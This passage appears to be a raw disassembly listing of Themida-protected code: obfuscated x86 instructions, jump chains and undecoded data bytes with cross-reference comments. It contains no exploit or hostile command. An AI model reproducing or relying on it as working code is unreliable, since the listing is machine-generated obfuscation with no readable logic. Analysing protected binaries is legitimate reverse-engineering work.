'),$]',8,'R C!;)s',0 align 2 aZqsD db 'ZQ{',0 db 0 ; --------------------------------------------------------------------------- loc_5033B1: ; CODE XREF: Themida_:0050FF0Fj shr esi, 1 xor esi, 23131DADh add edx, esi pop esi add edx, ecx sub edx, 231315B5h push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 jmp loc_500BF4 ; --------------------------------------------------------------------------- dw 0CA81h dd 2C755A60h, 57FFC283h, 0A074A8BFh, 0E9FA01BDh, 10CC5h ; --------------------------------------------------------------------------- loc_5033EC: ; CODE XREF: Themida_:0050E3E8j add cl, 29h add al, cl pop ecx jmp loc_5095A9 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 3FDE900h, 48F0000h, 607BE924h, 0E9570000h, 9CEFh dd 105h, 52E0D100h, 576CBB53h, 0DA89DB97h, 3348E95Bh, 0F8290000h dd 62B12D5Fh, 0D8013A9Ch, 120BE56h, 0EE81403Ah, 59D9E6Fh dd 348BF001h, 4C48124h, 0E9000000h, 0FFFFFE80h ; --------------------------------------------------------------------------- loc_50344C: ; CODE XREF: Themida_:005069D2j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add [esp+4], edi push ecx mov ecx, 66E254EAh sub [esp+8], ecx pop ecx push 5F66h mov [esp], esi jmp loc_507652 ; --------------------------------------------------------------------------- loc_50347B: ; CODE XREF: Themida_:0050E093j push edx mov edx, 221A4348h sub [esp+8], edx mov edx, [esp] add esp, 4 jmp loc_5085FF ; --------------------------------------------------------------------------- db 89h dd 0E189240Ch, 72ECE9h, 66B15100h, 0C005E9C0h, 0FE5103E1h dd 80592404h, 0F180C1F1h, 0E9CB30A2h, 0C0D1h, 0F37BB005h dd 0C542E91Dh, 6DBE0000h, 0E940E62Bh, 0E21h ; --------------------------------------------------------------------------- loc_5034CC: ; CODE XREF: Themida_:00503283j pop ebx add ebx, 36BF211Bh jmp loc_50B74B ; --------------------------------------------------------------------------- loc_5034D8: ; CODE XREF: Themida_:00510923j push eax push esp jmp loc_50C03D ; --------------------------------------------------------------------------- dd offset dword_4A485C+50Ch align 4 dd 54243C89h, 81243C8Bh, 4C4h, 4C78100h, 68000000h, 638Fh dd 0BE243489h, 19752B30h, 0FFCB12E9h, 4C181FFh, 83000000h dd 0C8704C1h, 0C3815C24h, 5A5A7DE9h, 3C4AE9h db 0 ; --------------------------------------------------------------------------- loc_503521: ; CODE XREF: Themida_:005080F6j push esi push 0C53h mov [esp], ebp jmp loc_50DFE1 ; --------------------------------------------------------------------------- loc_50352F: ; CODE XREF: Themida_:00509480j push ebp mov ebp, 64DC6665h xor ebp, 64DC6665h mov eax, ebp pop ebp push edi mov edi, eax push 7ED9h mov [esp], edi push 5EBFh jmp loc_50CDCF ; --------------------------------------------------------------------------- loc_503553: ; CODE XREF: Themida_:0050B481j mov [esp], edi push 77644334h pop edi jmp loc_512D01 ; --------------------------------------------------------------------------- loc_503561: ; CODE XREF: Themida_:00502387j sub ebx, 1 add ebx, 0D6C3A329h add ecx, ebx pop ebx add edi, ecx push dword ptr [esp] pop ecx add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] imul cx sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push ebp mov ebp, 38AA72BCh inc ebp push edx mov edx, 12877327h shr edx, 4 jmp loc_50D4C3 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFC252h, 5B926866h, 24348966h, 5C0068h, 240C8900h dd 0E75B966h, 66516657h, 0E9240481h, 3C8B6623h, 56CBE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5035EA: ; CODE XREF: Themida_:005026EFj pop edi sub esp, 4 mov [esp], esi push dword ptr [esp+4] mov esi, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_51034C ; --------------------------------------------------------------------------- loc_503609: ; CODE XREF: Themida_:00504F0Fj push eax mov eax, 46550542h push 5EC3h mov [esp], eax push ebx mov ebx, 5FC0306Ch xor [esp+4], ebx pop ebx pop edi xor edi, 5FC0306Ch jmp loc_51397D ; --------------------------------------------------------------------------- aZsG db 'Z~',0 align 4 dd 246C2966h, 6C816606h, 7BD20624h, 5E665D66h, 24048B66h dd 2C481h, 8F660000h, 7EE92404h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_503657: ; CODE XREF: Themida_:0050067Ej sub ebp, 7A1A2B03h or ebp, 7B16459Dh inc ebp add ebp, 44AC02EAh dec ebp sub ebp, 4403F2A3h add esi, ebp pop ebp push ebx mov ebx, 4 add esi, ebx pop ebx push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp push 1620h mov [esp], eax jmp loc_512C10 ; --------------------------------------------------------------------------- loc_503699: ; CODE XREF: Themida_:00502662j mov esp, [esp] mov [esp], edx jmp loc_50F719 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFC16Ah, 7C0F12B8h, 53EAE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5036B6: ; CODE XREF: Themida_:0050AB3Ej sub esp, 4 mov [esp], ebx mov bh, 4Ah add bh, 10h add dl, bh mov ebx, [esp] add esp, 4 add al, 3Eh jmp loc_50F01D ; --------------------------------------------------------------------------- loc_5036D3: ; CODE XREF: Themida_:0050F101j dec ecx jmp loc_5078CC ; --------------------------------------------------------------------------- aCxxa db '(XX',0 db 0F3h, 0E9h, 49h dd 8F000082h, 81E92404h db 0C1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5036EF: ; CODE XREF: Themida_:0050B035j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5028E0 ; --------------------------------------------------------------------------- loc_503705: ; CODE XREF: Themida_:00503E09j pop esp push eax mov eax, esp jmp loc_50CCE8 ; --------------------------------------------------------------------------- dw 8950h dd 4BF57E0h, 1000000h, 0C7E0E9F8h, 0C6800000h, 50E628F6h dd 0C48049B4h, 0F2EC80DAh, 0E97AB551h, 9798h ; --------------------------------------------------------------------------- loc_503734: ; CODE XREF: Themida_:0050C27Fj mov ecx, 1D1C69E9h jmp loc_50FA2E ; --------------------------------------------------------------------------- loc_50373E: ; CODE XREF: Themida_:005016C5j xchg edx, [esp] mov esp, [esp] push 9CBh mov [esp], eax jmp loc_505011 ; --------------------------------------------------------------------------- db 0B7h, 7Fh, 0E9h dd 19FCh ; --------------------------------------------------------------------------- loc_503758: ; CODE XREF: Themida_:0050E0CAj add esp, 4 push esi push edx push ebp push 59C07794h pop ebp sub ebp, 48D74A85h mov edx, ebp jmp loc_5067CB ; --------------------------------------------------------------------------- loc_503774: ; CODE XREF: Themida_:0050181Ej pop ebx add ecx, esi add ecx, 5D1932DAh jmp loc_500C8F ; --------------------------------------------------------------------------- dw 0C89h dd 4B924h, 4BE90000h db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_50378F: ; CODE XREF: Themida_:00507D5Bj push esi pop ecx jmp loc_50B324 ; --------------------------------------------------------------------------- dw 34FFh dd 243C8B24h, 8104C483h, 4C4h, 1C576800h, 4890000h, 0F95AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5037B2: ; CODE XREF: Themida_:00505901j pop esi mov ecx, 224B3FEDh add ecx, 42A30872h add ecx, eax push edi mov edi, 4A2F3D01h dec edi sub edi, 2FCA612Ch neg edi dec edi sub edi, 0A2F81BB9h sub ecx, edi jmp loc_511842 ; --------------------------------------------------------------------------- loc_5037DD: ; CODE XREF: Themida_:005064CFj xchg ebp, [esp] pop esp push 7CF9h mov [esp], edi push esp jmp loc_4FFBB8 ; --------------------------------------------------------------------------- aYsO db 'Y,o',0 dd 7F1E6800h, 0AE90000h, 5000004Ah, 2B8h, 58C32900h, 5C241C87h dd 241C8966h, 0AFA5E9h, 4BC78100h, 0E9065412h, 1823h, 1AEA8158h dd 5D34A866h, 0E95AD301h, 0FADCh, 83242489h, 59042404h dd 0BA64E9h, 7F2D5900h, 29380C70h, 0C550E9D8h, 88510000h dd 59EF88E5h, 0FFE61FE9h, 0EE8958FFh, 11110E9h db 0 ; --------------------------------------------------------------------------- loc_50385D: ; CODE XREF: Themida_:004FFCD1j pop edx or eax, eax jz loc_500F30 push dword ptr [edi+1Ch] xor dword ptr [esp], 5150581Fh push dword ptr [esp] jmp loc_5063F6 ; --------------------------------------------------------------------------- dd 83B021B3h, 0FFF148E9h, 24048BFFh, 3304C483h, 0EFE9241Ch dd 8900005Fh, 0EC81240Ch, 4, 0BF243C89h, 59F521FEh, 0E906EFC1h dd 0AFACh ; --------------------------------------------------------------------------- loc_5038A8: ; CODE XREF: Themida_:0050D354j mov [esp], edi mov edi, 1F4613CBh add esi, edi push dword ptr [esp] pop edi add esp, 4 push 399Eh mov [esp], esi pop ebp jmp loc_511938 ; --------------------------------------------------------------------------- loc_5038C7: ; CODE XREF: Themida_:00507807j xor ebp, 4A0F7AFEh not ebp push edx mov edx, 1E3825FAh and ebp, edx pop edx add ebp, 0A7DC1FF0h jmp loc_5023FB ; --------------------------------------------------------------------------- loc_5038E3: ; CODE XREF: Themida_:0050C210j sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi jmp loc_510740 ; --------------------------------------------------------------------------- loc_5038F4: ; CODE XREF: Themida_:00501891j mov eax, [esp] add esp, 4 mov eax, [esp] add esp, 4 add edx, 4 xor edx, [esp] jmp loc_508F30 ; --------------------------------------------------------------------------- a31Sc db '3<$1<$+',0 align 4 loc_50391C: ; CODE XREF: Themida_:00509185j xor ecx, edi add ecx, 5D88B9FAh xor eax, ecx mov ecx, [esp] push edx jmp loc_5020DD ; --------------------------------------------------------------------------- loc_50392F: ; CODE XREF: Themida_:005097DBj push 34A2h mov [esp], ecx sub esp, 4 jmp loc_511AC7 ; --------------------------------------------------------------------------- loc_50393F: ; CODE XREF: Themida_:0050937Fj xor dl, 0E6h add ch, dl pop edx add ch, 7Ch mov bl, ch pop ecx mov al, bl pop ebx xor al, 3Fh push cx mov cl, 0F7h add al, 0C9h sub al, cl sub al, 0C9h jmp loc_50A2D1 ; --------------------------------------------------------------------------- aIHM db ',$hm',0 dw 6800h dd 40FEh, 55242489h, 0ACAE9h, 3E8C100h, 15EC68h, 0BA58E900h dd 0DD010000h, 242C875Bh, 0E924248Bh, 0B7B8h, 4C381h, 0EB810000h dd 4, 8B241C87h, 0D5E92424h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5039A7: ; CODE XREF: Themida_:00510C2Cj dec ecx sub esp, 4 jmp loc_50CCD6 ; --------------------------------------------------------------------------- db 1 aYsgx db 'YgX',0 dw 8F00h dd 248B2404h, 240CFE24h, 0BE4CE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5039CA: ; CODE XREF: Themida_:0050C440j push ecx push ebp mov ebp, 1 jmp loc_4FFFA1 ; --------------------------------------------------------------------------- dw 0F900h dd 10B2525Bh, 0E946F280h, 5A45h, 0E9242C33h, 10576h ; --------------------------------------------------------------------------- loc_5039EC: ; CODE XREF: Themida_:0050BD7Dj add esp, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ecx push 1 push dword ptr [esp] pop ecx add esp, 4 and eax, ecx push dword ptr [esp] pop ecx sub esp, 4 mov [esp], edx jmp loc_50FF38 ; --------------------------------------------------------------------------- db 68h, 28h, 5Dh dd 14890000h, 80D3B224h, 0E28090F2h, 6FEA80BFh, 148BD430h dd 0EF66E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_503A32: ; CODE XREF: Themida_:0050DDABj push 4BA7h mov [esp], edi mov edi, 0B911719h sub [esp+4], edi mov edi, [esp] add esp, 4 push dword ptr [esp] pop ecx jmp loc_50FDEF ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 24148B04h, 0F5A1E9h db 0 ; --------------------------------------------------------------------------- loc_503A61: ; CODE XREF: Themida_:005111F7j pop edi add ebp, eax push edi mov edi, 5CAC100Ah sub ebp, edi jmp loc_5083D9 ; --------------------------------------------------------------------------- db 50h, 0B4h, 66h dd 0C5B75366h, 5B66FC28h, 80A6C480h, 0E4D06CE4h, 0C480C4FEh dd 0A514E912h, 0B9510000h, 37655FCAh, 149CF181h, 6FE959C0h db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_503A9F: ; CODE XREF: Themida_:00507DE5j mov ecx, 4 add esi, ecx pop ecx add esi, 4 jmp loc_512F37 ; --------------------------------------------------------------------------- dw 5FE9h dd 0C1FFFFBDh, 0EDC105E5h, 0E6895604h, 4C681h, 0EE810000h dd 4, 5C243487h, 37E2E9h, 240C8900h, 0C42BDEB9h, 7ADE919h dd 0C3680001h, 0E9000022h, 33FCh, 9C240428h, 0FFBD21E9h db 0FFh ; --------------------------------------------------------------------------- loc_503AF5: ; CODE XREF: Themida_:0050DB03j pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push 669Eh mov [esp], ebp push 800h push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 jmp loc_50C866 ; --------------------------------------------------------------------------- loc_503B24: ; CODE XREF: Themida_:00514812j mov eax, 73841DAh jmp loc_50A5B8 ; --------------------------------------------------------------------------- aBsrvxzs db '[vZ',0 align 2 loc_503B3A: ; CODE XREF: Themida_:00514956j mov edx, 0C74929CEh xor edi, edx jmp loc_511659 ; --------------------------------------------------------------------------- dw 4BDh dd 81087D2Dh, 656B37EDh, 6851521Eh, 4AE9569Ah, 0C3F18159h dd 81004969h, 0D33A8FC1h, 0DFF1812Fh, 516F9B47h, 1A242C81h dd 0E96F645Bh, 0DE03h ; --------------------------------------------------------------------------- loc_503B78: ; CODE XREF: Themida_:004FFB8Ej sub edi, 521B741Fh push dword ptr [esp] pop esi add esp, 4 add edi, 4 push edi jmp loc_509F67 ; --------------------------------------------------------------------------- db 81h, 0F2h, 7Bh dd 1A2FFBDh, 24148BD7h, 335E9h, 4EE8300h, 5C243487h, 89241489h dd 0D2BB53E2h, 6823647Ch, 52D4h, 0E9243489h, 0EE5Eh ; --------------------------------------------------------------------------- loc_503BC0: ; CODE XREF: Themida_:00507200j xor edi, 6566092Fh add edx, 3E2E99h sub edx, edi sub edx, 3E2E99h jmp loc_50C991 ; --------------------------------------------------------------------------- loc_503BD9: ; CODE XREF: Themida_:0051313Dj push 7C89h jmp loc_50F120 ; --------------------------------------------------------------------------- loc_503BE3: ; CODE XREF: Themida_:00504C32j add edi, 27730C5Bh jmp loc_50C6D6 ; --------------------------------------------------------------------------- loc_503BEE: ; CODE XREF: Themida_:0050FB41j mov [esp], ebx mov ebx, 4FE45A4Ah sub esp, 4 mov [esp], eax push ebx push 27517126h pop ebx mov eax, 7990E7Dh jmp loc_5020E5 ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 0D1CFE904h, 0E781FFFFh, 12B46D9Bh, 0B951D7F7h, 0ED5BD267h dd 0C8BCF31h, 4C48124h, 89000000h, 0C5815FFEh, 31267449h dd 7431C581h, 0F50160EBh, 7431ED81h, 0ED8160EBh, 31267449h dd 8124348Bh, 4C4h, 242C8700h, 5124248Bh, 0D0885053h, 6858C388h dd 4FA7h, 7D5BE9h db 0 ; --------------------------------------------------------------------------- loc_503C6D: ; CODE XREF: Themida_:00500F5Fj pop edi and ecx, ebp jmp loc_506849 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 81E9015Ch, 924E6CC1h, 0AE78E90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_503C86: ; CODE XREF: Themida_:00502A89j add ebp, 4 xchg ebp, [esp] pop esp sub eax, ecx push edi jmp loc_50CA0F ; --------------------------------------------------------------------------- dd 0CC801AB4h, 18F4800Dh, 5358E628h, 4CE9E389h, 83FFFFF7h dd 48904ECh, 0BF7CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_503CB6: ; CODE XREF: Themida_:0050F7D2j pop esp jmp loc_50EFA4 ; --------------------------------------------------------------------------- loc_503CBC: ; CODE XREF: Themida_:00507D1Dj mov ebx, [esp] jmp loc_50A299 ; --------------------------------------------------------------------------- dd 55F5874Eh, 8B2404FFh, 60E9242Ch, 68FFFFCCh, 60E7h, 0E9240C89h dd 4959h ; --------------------------------------------------------------------------- loc_503CE0: ; CODE XREF: Themida_:0050F114j sub dword ptr [esp], 4298653Fh pop ecx add ecx, 4298653Fh pop edi sub edx, ecx push dword ptr [esp] pop ecx jmp loc_510ECA ; --------------------------------------------------------------------------- loc_503CFA: ; CODE XREF: Themida_:0051144Fj add ebp, 4F092F72h sub ebp, edx sub ebp, 4F092F72h sub ebp, 5CE92EA7h jmp loc_50846E ; --------------------------------------------------------------------------- loc_503D13: ; CODE XREF: Themida_:00507B60j xor ebx, 4D4DB720h mov edi, ebx pop ebx push 1CB0h jmp loc_50C41F ; --------------------------------------------------------------------------- dw 0EF81h dd 0A625E26h, 100FC781h, 0F5E92B27h, 0FF00004Dh, 77E92434h dd 660000C0h, 0E924048Bh, 0FFFFEE2Fh, 4C481h, 0E9590000h dd 0FFFFBAC2h ; --------------------------------------------------------------------------- loc_503D54: ; CODE XREF: Themida_:00510327j sub esi, 514608DAh add esi, 0AA660C0Dh mov ebx, esi jmp loc_513A43 ; --------------------------------------------------------------------------- db 0FFh dd 5F042474h, 2FE8E9h db 0 ; --------------------------------------------------------------------------- loc_503D71: ; CODE XREF: Themida_:0050C4A5j mov [esp], ecx mov ecx, esp jmp loc_50BB73 ; --------------------------------------------------------------------------- loc_503D7B: ; CODE XREF: Themida_:0050BA1Cj add ebp, edx jmp loc_508613 ; --------------------------------------------------------------------------- loc_503D82: ; CODE XREF: Themida_:00500421j add edx, 4 xor edx, [esp] jmp loc_506AAB ; --------------------------------------------------------------------------- aPsI db 'P%',0 dw 6600h dd 6824048Bh, 4B0h, 68241C89h, 77A2h, 89241C89h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 2CD2E9h db 0 ; --------------------------------------------------------------------------- loc_503DBD: ; CODE XREF: Themida_:00505856j xor eax, ecx push 48EFh mov [esp], eax push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] not eax xor [esp], eax xor eax, [esp] xor [esp], eax push dword ptr [esp] mov eax, [esp] push esi jmp loc_50E3ED ; --------------------------------------------------------------------------- aFwsfhQsn db 'fWSfhQN',0 db 0 ; --------------------------------------------------------------------------- loc_503DF3: ; CODE XREF: Themida_:00512EB0j push 1D97h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_503705 ; --------------------------------------------------------------------------- dw 489h aSwk db '$W',0 align 2 loc_503E16: ; CODE XREF: Themida_:005147EEj push 336B1035h pop eax xor eax, 14683980h mov edi, eax mov eax, [esp] add esp, 4 add edi, 5CB56B69h jmp loc_50CEE0 ; --------------------------------------------------------------------------- aISl db 'l',0 align 2 loc_503E3E: ; CODE XREF: Themida_:00507413j mov cl, al jmp loc_50BDBD ; --------------------------------------------------------------------------- loc_503E45: ; CODE XREF: Themida_:0050B0F2j add esp, 4 sub ecx, 0B0002716h add edx, 2CBD0686h jmp loc_50714E ; --------------------------------------------------------------------------- loc_503E5C: ; CODE XREF: Themida_:00510CC0j add ebx, 55684EF4h add ebx, ecx sub ebx, 55684EF4h pop ecx push 0EC7h mov [esp], edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp] jmp loc_509477 ; --------------------------------------------------------------------------- db 87h dd 815C2414h, 4ECh, 24048900h, 42474FFh, 162DE958h, 148B0000h dd 4C48324h, 5224348Bh, 0C281E289h, 4, 6290E9h db 0 ; --------------------------------------------------------------------------- loc_503EB1: ; CODE XREF: Themida_:0050B2B7j xor ebp, 4AAF552Ch shl ebp, 2 sub ebp, 52FBD588h add eax, 0DD3FC8h add eax, 577F2210h add eax, ebp sub eax, 577F2210h jmp loc_5005AC ; --------------------------------------------------------------------------- dw 0C483h dd 243C8704h, 0E9C0095Ch, 2DACh, 81368h, 240C8900h, 547D68h dd 24248900h, 10BCFE9h db 0 ; --------------------------------------------------------------------------- loc_503EF9: ; CODE XREF: Themida_:0050D3B3j mov esi, [esp] add esp, 4 sub edi, 4AB83D6Bh sub edi, ebx add edi, 4AB83D6Bh pop ebx jmp loc_50A8A0 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 0C95AE900h, 23B20000h, 8001C280h, 0B55141C2h dd 80D5F65Dh, 0EA307EC5h, 0FEE2D059h, 80D2F6CAh, 0D48844F2h dd 0FAD3E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_503F42: ; CODE XREF: Themida_:005087CBj sub ebx, 5B6F0F2Ah add ebx, edi jmp loc_5017D7 ; --------------------------------------------------------------------------- loc_503F4F: ; CODE XREF: Themida_:0050BE5Cj sub ebx, 7B201AA2h mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_50C3D5 ; --------------------------------------------------------------------------- aSj db ',',7,'',0 align 4 dd 4C581h, 0ABE90000h, 10000D7h, 1F8E9FAh, 8B660000h, 0E268240Ch dd 89000029h, 0FF542404h, 48B2434h, 0E7895724h, 4C781h dd 0BB530000h, 4, 39E9DF29h, 810000BAh, 0C55D06E5h, 2AE5812Ch dd 0C1012636h, 0F8E907EDh, 810000D0h, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 5650241Ch, 0A349ACBEh, 80C0E90Ch, 0AD660000h dd 0B9665166h, 166132Dh, 665966C8h, 66017305h, 0E90FFF2Dh dd 5380h, 24048B66h, 18A2E9h db 0 ; --------------------------------------------------------------------------- loc_50400D: ; CODE XREF: Themida_:00513126j add esp, 4 jmp loc_502DE3 ; --------------------------------------------------------------------------- db 58h, 81h, 0EEh dd 45A21984h, 47E9EE29h db 0C2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_504023: ; CODE XREF: Themida_:0050244Dj sub dword ptr [eax], 40216454h jmp loc_4FF816 ; --------------------------------------------------------------------------- aL0csby db '0bY',0 dw 5600h dd 1138E9h, 465BBE00h, 0EE813493h, 24B5110Eh, 23E9DEF7h dd 6800006Ch, 67FAh, 7EB68h, 0FF8FE900h, 34FF0000h, 0C4835924h dd 0E99A0404h, 5CF4h, 3BC18159h, 5B57C530h, 8387E9h db 0 ; --------------------------------------------------------------------------- loc_504079: ; CODE XREF: Themida_:0050D6FDj push eax push edi mov edi, 4 mov eax, edi jmp loc_505DC1 ; --------------------------------------------------------------------------- db 31h dd 14332414h, 24143124h, 1487D2F7h, 0EA315D24h, 0EA31D531h dd 81E08950h, 4ECh, 24348900h, 4BEh, 3E360500h, 0EBE9733Fh dd 0B7000039h, 4E7C04Fh, 0C780C7FEh, 5BFD8899h, 0FE01ED80h dd 58CD80CDh, 0E9ABF580h, 92ABh ; --------------------------------------------------------------------------- loc_5040D4: ; CODE XREF: Themida_:0050CBB3j add edx, ebp add edx, 3FE32F46h push dword ptr [esp] pop ebp add esp, 4 and ecx, edx mov edx, [esp] add esp, 4 shr ecx, 0 or eax, eax jmp loc_50A956 ; --------------------------------------------------------------------------- loc_5040F8: ; CODE XREF: Themida_:00506AEDj mov ebp, 4FBC59F9h sub ebx, ebp push dword ptr [esp] pop ebp add esp, 4 mov eax, [esp] jmp loc_50E33D ; --------------------------------------------------------------------------- db 89h, 0E1h, 50h dd 4B8h, 58C10100h, 0BD555255h, 5E1157Dh, 4CE9EA89h, 5B000054h dd 0FDAAE9h, 4322BD00h, 0E5C15386h, 1ED8106h, 81000000h dd 1C5h, 0BAC58100h, 0E9501B5Bh, 0DB2Bh ; --------------------------------------------------------------------------- loc_504150: ; CODE XREF: Themida_:0050FA49j sub ebp, 4E11782Ah mov ecx, ebp pop ebp and eax, ecx push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 jmp loc_50C408 ; --------------------------------------------------------------------------- loc_50416A: ; CODE XREF: Themida_:0050ACD8j sub esi, 537D7FD8h mov edx, [esp] jmp loc_50CC45 ; --------------------------------------------------------------------------- loc_504178: ; CODE XREF: Themida_:0050FF5Fj xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_50303A ; --------------------------------------------------------------------------- a_sB db '_',8,'',0 align 4 loc_50418C: ; CODE XREF: Themida_:00511A2Dj mov [esp], esi not dword ptr [esp] mov esi, [esp] jmp loc_50DF0B ; --------------------------------------------------------------------------- dw 0EE80h dd 0E9F0283Ch, 4903h, 8006E6C0h, 0E72C9AC6h, 0E704F028h dd 0EC3DE95Ah, 1489FFFFh, 8075B624h, 1D0448EEh, 83F2B252h dd 0F2E904ECh, 66FFFFE4h, 6824048Bh, 3847h, 81242C89h dd 4ECh, 24248900h, 4240481h, 8B000000h, 0C481242Ch, 4 dd 593368h, 24348900h, 3A2EB951h, 0CE893C83h, 14F75659h dd 24348B24h, 4C481h, 0CE810000h, 50FF31D3h, 2B82B951h dd 8BE951D9h, 5F000082h, 0FFF869E9h, 81E589FFh, 4C5h, 4ED8300h dd 0B2FAE9h, 5E545600h, 0C91EE9h db 0 ; --------------------------------------------------------------------------- loc_50423D: ; CODE XREF: Themida_:0050A98Aj mov esi, eax jmp loc_502CC0 ; --------------------------------------------------------------------------- aMaBscfXs db 'm(cf%X#',0 align 4 loc_504254: ; CODE XREF: Themida_:00512DABj xor [esp], edi jmp loc_503288 ; --------------------------------------------------------------------------- dd 403E80BEh, 0FFEE830Ch, 256EEE81h, 0F221DB8Eh, 0BA7AE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_504272: ; CODE XREF: Themida_:00504C6Dj and esi, 29AF5EFFh jmp loc_513BBD ; --------------------------------------------------------------------------- loc_50427D: ; CODE XREF: Themida_:00505247j add ebx, 0D5F4926h sub ebx, eax sub ebx, 0D5F4926h push dword ptr [esp] pop eax jmp loc_5097A3 ; --------------------------------------------------------------------------- loc_504294: ; CODE XREF: Themida_:0050F9FFj add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_50F4EE ; --------------------------------------------------------------------------- loc_5042A5: ; CODE XREF: Themida_:005025FFj add edx, 4 sub edx, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] jmp loc_505999 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 add ebp, eax jmp loc_510909 ; --------------------------------------------------------------------------- loc_5042D3: ; CODE XREF: Themida_:0050DD5Aj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5122BB ; --------------------------------------------------------------------------- aFkse db 'fK`',0 dd 81DEF700h, 0A15FD6EEh, 0DAF6811Ah, 8166E92Dh, 0E7E479C6h dd 0EDCCE969h, 0BF570000h, 34404A04h, 79687ABAh, 0CE89E90Fh dd 5066FFFFh, 53E9E9h, 0D7E95000h, 8BFFFFE4h, 0EC832424h dd 24248904h, 4240481h, 8F000000h, 4812404h, 424h, 2434FF00h dd 4C4815Fh, 0E9000000h, 8DD3h, 5C240C87h, 7043E9h, 2434FF00h dd 50240C8Bh, 405E089h, 5000000h, 4, 5C240487h, 4142E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_504372: ; CODE XREF: Themida_:0050210Aj mov ecx, 270639E3h jmp loc_505131 ; --------------------------------------------------------------------------- loc_50437C: ; CODE XREF: Themida_:00511E2Aj mov esp, [esp] shl ebp, 8 shr ebp, 2 push 363Dh mov [esp], esi jmp loc_5104E1 ; --------------------------------------------------------------------------- dw 0B652h dd 0C3F6803Ch, 0E95AF128h, 676Ah ; --------------------------------------------------------------------------- loc_5043A0: ; CODE XREF: Themida_:00513392j or dl, cl pop ecx sub dl, 1 dec dl and dl, 42h jmp loc_507F5A ; --------------------------------------------------------------------------- dd 323E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5043B6: ; CODE XREF: Themida_:00508000j push esi mov esi, esp add esi, 4 sub esi, 4 push 5599h mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], eax push esi push ecx mov ecx, 1BB08FEh push ecx xor dword ptr [esp], 70804F34h pop esi xor esi, 70804F34h pop ecx dec esi jmp loc_5020A0 ; --------------------------------------------------------------------------- db 81h dd 97E1BEBh, 18EB814Bh, 0E9555E6Dh, 4853h, 3378E981h, 0E98130BFh dd 677C27A2h, 8324348Bh, 4EE904C4h, 0AD000064h, 276F6853h dd 0C890000h, 489BB924h, 0E1C16352h, 0B4E95206h, 0BDFFFFDBh dd 4, 0E2BFE9h db 0 ; --------------------------------------------------------------------------- loc_504449: ; CODE XREF: Themida_:0050BAD8j add edi, ebp pop ebp sub esp, 4 mov [esp], edx mov edx, 5B8361B2h jmp loc_506B12 ; --------------------------------------------------------------------------- dd 24048B66h, 685B5453h, 3DEDh, 0E9240C89h, 0FD04h, 0B652665Bh dd 4EC83E6h, 0E9241C89h, 108h, 0D5EDC181h, 5751A4BFh, 36635DBFh dd 2444810Eh, 2A73E004h, 247C291Ch, 246C8104h, 2A73E004h dd 93AE91Ch db 1, 0 ; --------------------------------------------------------------------------- loc_5044A6: ; CODE XREF: Themida_:00512FE1j dec ecx neg ecx push esi mov esi, 82A02E9Ah xor ecx, esi jmp loc_507C64 ; --------------------------------------------------------------------------- dw 0C483h dd 5D0F704h, 9D6C964Ch, 5158C389h, 2C33FDB9h, 244C012Ah dd 5C295908h, 6C810424h, 33FD0424h, 1C8B2A2Ch, 4C48124h dd 57000000h, 0C781E789h, 4, 8704EF83h, 895C243Ch, 0D1682404h dd 8900002Bh, 9C68242Ch, 8B238C73h, 0C483242Ch, 6EED8104h dd 0E9682F24h, 5E6Bh ; --------------------------------------------------------------------------- loc_504514: ; CODE XREF: Themida_:005097BCj add ebx, 0C470E560h jmp loc_504C37 ; --------------------------------------------------------------------------- loc_50451F: ; CODE XREF: Themida_:00506010j pop esi jmp loc_5025FE ; 